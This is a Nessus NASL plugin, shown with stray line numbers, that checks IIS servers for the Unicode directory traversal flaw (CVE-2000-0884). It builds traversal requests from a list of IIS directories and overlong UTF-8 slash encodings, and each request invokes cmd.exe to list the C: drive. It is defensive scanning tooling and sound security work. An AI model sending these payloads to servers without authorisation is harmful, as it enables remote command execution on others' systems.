1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
|
# Approved 22Apr01 jao (replaces older version)
#
# This script was first written Renaud Deraison then
# completely re-written by HD Moore
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10537);
if ( defined_func("script_xref") ) script_xref(name:"IAVA", value:"2000-a-0005");
script_bugtraq_id(1806);
script_version ("$Revision: 1.39 $");
script_cve_id("CVE-2000-0884");
name["english"] = "IIS directory traversal";
script_name(english:name["english"]);
desc["english"] = "
The remote IIS server allows anyone to execute arbitrary commands
by adding a unicode representation for the slash character
in the requested path.
Solution: See http://www.microsoft.com/technet/security/bulletin/ms00-078.mspx
Risk factor : High";
script_description(english:desc["english"]);
summary["english"] = "Determines if arbitrary commands can be executed thanks to IIS";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2001 H D Moore");
family["english"] = "Web Servers";
script_family(english:family["english"]);
script_dependencie("find_service.nes", "http_version.nasl", "www_fingerprinting_hmap.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
banner = get_http_banner(port:port);
if ( "IIS" >!< banner ) exit(0);
dir[0] = "/scripts/";
dir[1] = "/msadc/";
dir[2] = "/iisadmpwd/";
dir[3] = "/_vti_bin/"; # FP
dir[4] = "/_mem_bin/"; # FP
dir[5] = "/exchange/"; # OWA
dir[6] = "/pbserver/"; # Win2K
dir[7] = "/rpc/"; # Win2K
dir[8] = "/cgi-bin/";
dir[9] = "/";
uni[0] = "%c0%af";
uni[1] = "%c0%9v";
uni[2] = "%c1%c1";
uni[3] = "%c0%qf";
uni[4] = "%c1%8s";
uni[5] = "%c1%9c";
uni[6] = "%c1%pc";
uni[7] = "%c1%1c";
uni[8] = "%c0%2f";
uni[9] = "%e0%80%af";
function check(req)
{
r = http_keepalive_send_recv(port:port, data:http_get(item:req, port:port));
if(r == NULL){
exit(0);
}
pat = "<DIR>";
pat2 = "Directory of C";
if((pat >< r) || (pat2 >< r)){
security_hole(port:port);
return(1);
}
return(0);
}
cmd = "/winnt/system32/cmd.exe?/c+dir+c:\\+/OG";
for(d=0;dir[d];d=d+1)
{
for(u=0;uni[u];u=u+1)
{
url = string(dir[d], "..", uni[u], "..", uni[u], "..", uni[u], "..", uni[u], "..", uni[u], "..", cmd);
if(check(req:url))exit(0);
}
}
|
